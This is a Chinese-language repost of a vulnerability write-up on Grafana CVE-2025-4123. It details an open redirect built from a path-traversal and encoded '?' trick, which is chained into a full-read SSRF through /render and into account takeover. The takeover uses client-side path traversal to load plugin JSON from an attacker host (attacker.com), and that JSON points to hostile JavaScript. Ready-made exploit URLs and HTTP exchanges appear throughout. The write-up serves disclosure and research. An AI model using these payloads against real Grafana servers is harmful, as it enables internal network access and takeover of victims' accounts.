【CVE-2025-4123】:Grafana SSRF 及帐户接管利用

admin 2025年5月24日16:42:52评论0 views字数 6392阅读21分18秒阅读模式

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

防走失:https://gugesay.com/archives/4339

不想错过任何消息?设置星标↓ ↓ ↓

【CVE-2025-4123】:Grafana SSRF 及帐户接管利用

【CVE-2025-4123】:Grafana SSRF 及帐户接管利用

前言

当 Web 应用程序采用 URL 参数并将用户重定向到指定的 URL 而不对其进行验证时,就会发生开放重定向。

/redirect?url=https://evil.com --> (302 重定向) --> https://evil.com

这本身可能看起来并不危险,但这种类型的漏洞是发现两个独立漏洞的起点:完全读取 SSRF 和帐户接管。

本文就来详细讲解如何找到这两个漏洞的完整过程。

为什么选择Grafana

Grafana 是一个开源分析平台,主要使用 Go 和 TypeScript 构建,用于可视化来自 Prometheus 和 InfluxDB 等来源的数据。

在这个 Web 应用程序中能够找到漏洞将是一个很好的挑战,因此白帽小哥下载了源代码并开始调试——尽管这是小哥第一次使用 Go,他仍然决定专注于应用程序中未经身份验证的部分。

入口点

查看 api/api.go 中定义的所有未经身份验证的端点:

...// not logged in viewsr.Get("/logout", hs.Logout)r.Post("/login", requestmeta.SetOwner(requestmeta.TeamAuth), quota(string...r.Get("/login/:name", quota(string(auth.QuotaTargetSrv)), hs.OAuthLogin)r.Get("/login", hs.LoginView)r.Get("", hs.Index)// authed viewsr.Get("/", reqSignedIn, hs.Index)r.Get("/profile/", reqSignedInNoAnonymous, hs.Index)...

功能性

一个负责处理静态路由的函数成功引起了白帽小哥的注意:

func staticHandler(ctx *web.Context, log log.Logger, opt StaticOptions) bool {if ctx.Req.Method != "GET" && ctx.Req.Method != "HEAD" {returnfalse } file := ctx.Req.URL.Pathfor _, p := range opt.Exclude {if file == p {returnfalse  } } // if we have a prefix, filter requests by stripping the prefixif opt.Prefix != "" {if !strings.HasPrefix(file, opt.Prefix) {returnfalse  }  file = file[len(opt.Prefix):]if file != "" && file[0] != '/' {returnfalse  } } f, err := opt.FileSystem.Open(file)if err != nil {returnfalse }   ..............}

该函数用于根据用户输入从系统中检索文件,白帽小哥第一个想法是尝试使用路径遍历来加载任意文件,例如 ../ 大法或类似技巧。

【CVE-2025-4123】:Grafana SSRF 及帐户接管利用

如果请求 /public/file/../../../name 时,路径将被清理并解析为 /staticfiles/etc/etc/name,从而有效地阻止对预期目录之外的非法访问。

此外,如果解析的最终路径指向文件夹, 则 StaticHandler 函数会检查其中的默认文件 — 通常从该目录提供 /index.html

iffi.IsDir() {    // Redirect if missing trailing slash.if !strings.HasSuffix(ctx.Req.URL.Path, "/") {        path := fmt.Sprintf("%s/", ctx.Req.URL.Path)if !strings.HasPrefix(path, "/") {            // Disambiguate that it's a path relative to this server            path = fmt.Sprintf("/%s", path)        } else {            // A string starting with // or / is interpreted by browsers as a URL, and not a server relative path            rePrefix := regexp.MustCompile(`^(?:/\|/+)`)            path = rePrefix.ReplaceAllString(path, "/")        }        http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)        return true    }    file = path.Join(file, opt.IndexFile)    indexFile, err := opt.FileSystem.Open(file)    ....}

如上所见,如果最终文件是一个目录,并且提供的路由 (/public/build) 不以 / 结尾,则服务器将重定向到同一路径,并z在尾部附加 /。

GET /public/build HTTP/1.1Host: 192.168.100.2:3000
HTTP/1.1 302 FoundLocation: /public/build/

这种重定向行为是开放重定向漏洞发生的地方,因此接下来深入研究一下。

目标

假设有一个场景,应用程序根据提供的路由进行重定向,因此最终的重定向 URL 将始终以 / 开头。

那么我们的目标是创建一个路由,当请求时,该路由会重定向到以 / 开头的有效完整 URL,例如:

  • attacker.com/... --> 表示协议相对 URL,它使用与当前页面相同的协议 (HTTPS)

  • /attacker.com/...--> / 会执行相同的操作

问题及解决方案

要实现重定向功能,我们需要一个以 /public/ 开头的路由,并在传递给 opt 时,FileSystem.Open(file)将其解析为有效目录。

从 /public/attacker.com/../.. 开始,它解析为空字符串 " ",然后附加到 /staticfiles/etc/etc/, 触发 if fi.isDir(){}代码流。

/public/attacker.com/../..-->/attacker.com/../.. --> "" -->/staticfiles/etc/etc/+"" --> fi.isDir() TRUE

现在,有一种方法可以将任何Payload注入,它将被opt.FileSystem.Open(file)解释为一个文件夹。

一旦进入 isDir() 处理部分,/public/attacker.com/../.. 路径就会到达 http.Redirect() 函数,问题在于,此函数还会解析路径,这会导致重定向路径为/

iffi.IsDir() {    ...        //path is "/public/attacker.com/../.." but the final redirect is "/"        http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)returntrue    ...}

如果请求 /public/attacker.com/../..

GET /public/attacker.com/../.. HTTP/1.1Host: 192.168.100.2:3000
HTTP/1.1 302 FoundLocation: /

因此我们需要创建一条路径,其中在加载文件时,/../../.. 通过 opt.FileSystem.Open(file) 被解析,但在执行重定向时,http.Redirect()  中仍然未解析。

在每种情况下,路径的解析方式都不同:

  • opt.FileSystem.Open(file) 预期为一个系统文件

  • http.Redirect(path)预期为一个 URL 路径

  • opt.FileSystem.Open(file) 将 ?视为普通字符

  • http 的 Redirect(path) 将? 解析为 URL 参数的开头

这意味着 /public/attacker.com/?/../../../.. 将被如下处理,

在 opt.FileSystem.Open() — >

  • /public/attacker.com/?/../../../.. 将被解析为 "" ->  /staticfiles/etc/etc/+"" 有效文件夹。

在 http.redirect() →

  • /public/attacker.com/?/../../../.. --> 后面的任何内容 ? 都被视为查询字符串,而不是作为路径的一部分进行解析。

请求  -> %3f

GET /public/attacker.com/%3f/../.. HTTP/1.1Host: 192.168.100.2:3000
HTTP/1.1 302 FoundLocation: /public/attacker.com/?/../../

最终 Payload

该 URL /public/attacker.com/?/../../../.. 需要解析为以 /开头的完整 URL。

使用路径: /public/../attacker.com/?/../../../..,当 http.Redirect() 解析路径 时,会删除 /public 部分。

GET /public/../attacker.com/%3f/../../../../../.. HTTP/1.1Host: 192.168.100.2:3000
HTTP/1.1 302 FoundLocation: /attacker.com/?/../../../../../../

流程示意图:

【CVE-2025-4123】:Grafana SSRF 及帐户接管利用

完整读取 SSRF

开放重定向本身不会产生任何严重的安全影响,因此需要将其与另一个功能链接起来。

Grafana 有一个名为 /render的端点,用于根据提供的路径生成图像。

// renderingr.Get("/render/*", requestmeta.SetSLOGroup(requestmeta.SLOGroupHighSlow), reqSignedIn, hs.RenderHandler)
【CVE-2025-4123】:Grafana SSRF 及帐户接管利用

此端点使用无头浏览器来呈现用户指定的路由的 HTML,它只接受相对 URL 路径 /route,不接受绝对 URL https://...

但是,如果使用找到的 open redirect 重定向到内部服务呢?

首先,尝试将 /render/public/..%252f%255Cgoogle.es%252f%253F%252f..%252f.. google.es

【CVE-2025-4123】:Grafana SSRF 及帐户接管利用

然后,设置了一个无法从外部访问的内部服务:

尝试用 /render/public/..%252f%255C127.0.0.1:1234%252f%253F%252f..%252f.. 127.0.0.1:1234:

【CVE-2025-4123】:Grafana SSRF 及帐户接管利用

通过该漏洞,便能够完全读取内部服务,由于浏览器用于渲染,因此我们甚至可以通过制作面向内部服务的表单来发送 POST 请求。

此外,该漏洞的前提需要登录才能利用,因此我们在未登录的前提下无法从中获得任何东西。

通过 XSS 进行帐户接管

客户端路径遍历

Grafana 的 Client 端代码的很大一部分允许 Client 端路径遍历。

例如,当在浏览器中加载 /invite/1 时,JavaScript 会向 /api/user/invite/1 发出请求以检索邀请信息。

但是,如果加载 /invite/..%2f..%2f..%2f..%2froute ,则 JavaScript 会解析路径遍历并最终加载 /route

【CVE-2025-4123】:Grafana SSRF 及帐户接管利用

这创造了一个完美的场景来强制 JavaScript 加载开放重定向,而该重定向反过来会从我们的服务器获取一个特别定制的JSON。

但首先,我们需要找到一个以不安全的方式加载内容的端点,并利用它来执行 JavaScript。

加载恶意 javascript 文件

可以使用 /a/plugin-app/explore 加载和管理插件应用程序。

此功能的 JavaScript 从 URL 中提取插件应用程序名称,并使用它从 /api/plugins/plugin-app/settings 请求插件信息。

/api/plugins/plugin-app/settings 内容如下:

{"name""plugin-app","type""app","id""plugin-app","enabled"true,"pinned"true,"autoEnabled"true,"module""/modules/..../plugin-app.js"//js file to load"baseUrl""public/plugins/grafana-lokiexplore-app","info": {"author": {"name""Grafana"            ...        }    }    ...}

/a/plugin-app/explore加载该文件,并执行 “module” 参数中提供的 JavaScript。

/a/plugin-app/explore 容易受到客户端路径遍历的影响,这允许我们在服务器上加载任意路由,而不是 /api/plugin-app/settings

这允许我们加载打开的重定向,因此,获取自己的恶意 JSON,其中包含了我们想要的任何 JavaScript 文件。

通过利用所有必要的 JS 和 JSON 文件设置我们自己的服务器。只需要托管如下 JSON :

{"name""ExploitPluginReq","type""app","id""grafana-lokiexplore-app","enabled"true,"pinned"true,"autoEnabled"true,"module""http://attacker.com/file?js=file"//malicious js file"baseUrl""public/plugins/grafana-lokiexplore-app","info": {"author": {...}    }    ...}

加载此路由, /a/..%2f..%2f..%2fpublic%2f..%252f%255Cattacker.com%252f%253Fp%252f..%252f..%23/explore ,从而利用客户端路径遍历和开放重定向。

结果展示:

【CVE-2025-4123】:Grafana SSRF 及帐户接管利用

恶意 JavaScript 文件被执行,并允许我们更改受害者的电子邮件并重置他们的密码。

【CVE-2025-4123】:Grafana SSRF 及帐户接管利用

希望本文能给你更多启发~

原文:https://medium.com/@Nightbloodz/grafana-cve-2025-4123-full-read-ssrf-account-takeover-d12abd13cd53

- END -

加入星球,随时交流:

(会员统一定价):128元/年(0.35元/天)【CVE-2025-4123】:Grafana SSRF 及帐户接管利用感谢阅读,如果觉得还不错的话,欢迎分享给更多喜爱的朋友~

原文始发于微信公众号(骨哥说事):【CVE-2025–4123】:Grafana SSRF 及帐户接管利用

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月24日16:42:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【CVE-2025-4123】:Grafana SSRF 及帐户接管利用http://cn-sec.com/archives/4094238.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息